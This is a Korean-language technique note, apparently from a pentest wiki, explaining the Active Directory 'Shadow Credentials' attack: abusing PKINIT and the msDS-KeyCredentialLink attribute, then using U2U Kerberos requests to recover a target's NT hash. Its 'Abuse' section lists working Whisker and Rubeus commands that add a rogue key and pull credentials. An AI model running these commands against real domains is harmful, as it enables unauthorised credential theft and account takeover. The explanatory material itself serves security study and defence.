Shadow Credentials
커버로스 사전 인증 단계에 속하는 AS-REQ에서는 패킷을 암호화할 때 대칭키와 공개키 중 하나를 선택할 수 있습니다. 공개키를 선택할 경우 TGT 세션 키는 사용자의 공개키로 암호화 되기 때문에 패스워드를 모르더라도 TGT를 복호화하여 얻은 세션 키로 TGS-REQ가 가능합니다.
TGS-REP로부터 받은 서비스 티켓의 PAC에는 클라이언트 NT 해시가 포함되어 있기 때문에, 공격자는 공개키를 위조할 수 있을 때 대상의 NT 해시 탈취가 가능합니다.
Abuse
# 백업을 위해 기존에 등록된 공개키 열거
.\Whisker.exe list /target:Mick3y
# 키 추가
.\Whisker.exe add /target:Mick3y /nowrap
# TGT 요청
.\Rubeus.exe asktgt /user:Mick3y /certificate:MI[...]5I= /password:"oFF2xUVa0dnahRVV" /domain:CONTOSO.COM /dc:AD01.CONTOSO.COM /getcredentials /show
# 생성한 키 정리
.\Whisker.exe remove /target:Mick3y /deviceid:a7df042e-728d-b905-6677-ddc94f00faa0
Root Cause
Windows 2016 이후 AD 환경에서는 WHfB(Windows Hello for Business)를 위해 비밀번호 없는 클라이언트 공개키를 이용하여 인증하는 PKINIT(Public Key Cryptography for Initial Authentication)을 지원합니다.
이를 위해 클라이언트 공개키는 객체의 msDS-KeyCredentialLink 속성에 저장됩니다.

대상 속성을 수정할 수 있는 높은 권한(GenericAll / GenericWrite 등)이 있을 때 LDAP을 통해서 속성에 공격용 공개 키를 등록할 수 있습니다. 등록할 땐 기존의 공개 키 목록에 새로운 키를 추가합니다.


이후 PKINIT을 통한 커버로스 인증을 위해 padata 필드에는 PKINIT을 사용한 인증을 명시합니다.


TGS-REP로부터 반환되는 패킷에는 PAC 정보도 함께 들어있습니다. 일반적인 TGS-REP에 포함되는 PAC에는 클라이언트의 자격 증명(nt 해시)이 포함되지는 않지만 PKINIT을 이용한 인증 시에는 특수하게 PAC_CREDENTIAL_INFO 구조체가 포함됩니다.
typedef struct _PAC_CREDENTIAL_INFO {
ULONG Version;
ULONG EncryptionType;
UCHAR SerializedData[1];
} PAC_CREDENTIAL_INFO, *PPAC_CREDENTIAL_INFO;
krbtgt의 패스워드 해시를 크랙하는 것은 불가능하기 때문에 U2U 방식으로 TGS-REQ를 전송합니다.
U2U는 서비스 계정의 비밀 키 없이도 티켓을 발급하기 위한 방식입니다. user-A가 user-B의 서비스 티켓을 이용하려고 하는 상황에서, user-B는 자신의 TGT 세션 키로 서비스 티켓을 암호화 합니다.
이때 user-A가 발급하려는 서비스 티켓의 주체는 반드시 자신과 달라야 할 필요는 없습니다. 따라서 user-A는 user-A(스스로)에 대한 서비스 티켓을 U2U로 요청할 수 있고, 이때 서비스 티켓은 user-A의 TGT 세션 키로 암호화 됩니다.
이제 이 두가지 개념을 합치면 :
PKINIT을 통해 수신한 TGS-REP의 PAC에는
NtPassword
가 포함되어 있다.U2U로 스스로에 대한 TGS-REP를 수신하면 자신의 TGT 세션키로 PAC 데이터를 복호화 할 수 있다.
getnthash.py에서는 dump 함수 호출 시 doKeyList를 False로 설정합니다. 그에 따라 아래 조건문에서 kdc-options 리스트에는 enc-tkt-in-skey를 포함하게 됩니다.
U2U에 따른 TGS-REP의 PAC은 TGT 세션키로 복호화가 가능하여 복호화한 뒤 출력합니다.
References
Last updated
Was this helpful?